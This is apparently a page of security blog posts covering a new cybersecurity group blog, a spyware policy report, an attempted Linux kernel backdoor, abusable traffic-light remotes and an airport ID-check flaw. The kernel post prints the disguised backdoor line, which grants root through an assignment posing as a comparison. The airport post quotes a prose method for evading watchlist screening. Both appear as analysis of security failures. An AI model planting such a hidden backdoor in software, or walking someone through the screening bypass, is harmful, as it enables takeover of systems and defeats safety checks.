November 25, 2024

Abusable Technologies Awareness Center

That’s the name of a new group blog on cyber-security, at http://www.abusabletech.org, to which I’ll be contributing. There are nineteen contributors, including some of the most prominent researchers in the field. I’m excited to be associated with such an eminent group, and I have high hopes for ATAC.

Freedom to Tinker will continue as always. Any of my ATAC postings that seem relevant to Freedom to Tinker readers will be linked to or duplicated here. But if you’re interested in cybersecurity, you should read ATAC so you can hear from the other panelists.

CDT Report on Spyware

The Center for Democracy and Technology has issued a sensible and accessible paper about the spyware problem and associated policy issues.

Spyware is software, installed on your computer without your consent, that gathers information about what you do on your computer. It’s shockingly common – if you are a typical active web surfer using Internet Explorer in its default configuration, and you haven’t been taking specific steps to protect yourself against spyware, then you probably have several spyware programs on your computer right now.

CDT recommends that end users protect themselves by using anti-spyware tools such as AdAware, Spybot Search and Destroy, Spyware Eliminator, or BPS Spyware/Adware Remover. (I have had good luck with Spybot Search and Destroy.)

At the policy level, CDT is lukewarm about attempts to ban spyware specifically, because of the difficult line-drawing exercise involved in distinguishing spyware from certain types of legitimate programs. They argue instead for policies that address the underlying problems: installation without consent, and surreptitious monitoring of user behavior.

Kudos to CDT for advancing the policy discussion on this often overlooked issue.

Linux Backdoor Attempt Thwarted

Kerneltrap.org reports that somebody tried last week to sneak a snippet of malicious code into the Linux kernel’s source code, to create a backdoor that could be exploited later to seize control of Linux machines. Fortunately, members of the software development team spotted the problem the next day and removed the offending code.

The malicious code snippet was small but it was constructed cleverly, so that most programmers would miss the problem on casual reading of the code.

This incident illuminates an interesting debate on the security tradeoffs between open-source and proprietary code. Opponents of open-source argue that the open development process makes it easier for a badguy to inject malicious code. Fans of open-source argue that open code makes it easier for the good guys to spot problems. Both groups can find some support in this story, in which an unknown person did inject malicious code, and open-source devleopers did read the code and spot the problem.

What we don’t know is how often this sort of thing happens in proprietary software development. There must be some attempts to insert malicious code, given the amount of money at stake and the sheer number of people who have the opportunity to try inserting a backdoor. But we don’t know how many people try, or how quickly they are caught.

[Technogeek readers: The offending code is below. Can you spot the problem?

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;
]

Remote Controls for Traffic Lights

Many cities have installed systems that let emergency vehicles control traffic lights via infrared remote controls, thereby getting to the scene of an emergency more quickly. This is good.

Yesterday’s Detroit News, in a story by Jodi Upton, reports on the availability of remote controls that allow ordinary citizens to control the same traffic lights. Now traffic engineers worry that selfish people will use the remotes to disrupt the flow of traffic.

As Eric Rescorla notes, this could have been avoided by using cryptography in the design of the original system. Instead, we’re likely to see a crackdown on the distribution of the remote controls, and the predictable black market in the banned devices.

This seems like a classic example of the harm caused by deploying a technology without considering how it might be abused. It would be interesting to know why this happened. Did the vendor not stop to think about the potential for abuse? Did they think that nobody would ever figure out how to abuse the system? Did they fail to realize that anti-abuse technologies were available? I wish I knew.

Rescorla on Airport ID Checks

Eric Rescorla, at Educated Guesswork, notes a flaw in the security process at U.S. airports – the information used to verify a passenger’s ID is not the same information used to look them up in a suspicious-persons database.

Let’s say that you’re a dangerous Canadian terrorist, bearing the clearly suspicious name “Guy Lafleur”. Now, the American government is aware of your activities and puts you on the CAPPS blacklist to stop you from boarding the plane. Further, let’s assume that you’re too incompetent to get a fake ID….

You have someone who’s not on the blacklist buy you a ticket under an innocuous assumed name, say “Babe Ruth”. This is perfectly legitimate and quite easy to do…. Then, the day before the flight you go onto the web and get your boarding pass. You print out two copies, one with your real name and one with the innocuous fake name. Remember, it’s just a web page, so it’s easy to modify When you go to the airport, you show the security agent your “Guy Lafleur” boarding pass and your real ID. He verifies that they match but doesn’t check the watchlist, because his only job is to verify that you have a valid-looking boarding pass and that it matches your ID. Then, when you go to board the plane, you give the gate agent your real boarding pass. Since they don’t check ID, you can just walk onboard.

What’s happened is that whoever designed this system violated a basic security principle that’s one of the first things protocol designers learn: information you’re using to make a decision has to be the information you verify. Unfortunately, that’s not the case here. The identity that’s being verified is what’s written on a piece of paper and the identity that’s being used to check the watchlist is in some computer database which isn’t tied to the paper in any way other than your computer and printer, which are easy to subvert.

In a later post, he discusses some ways to fix the problem.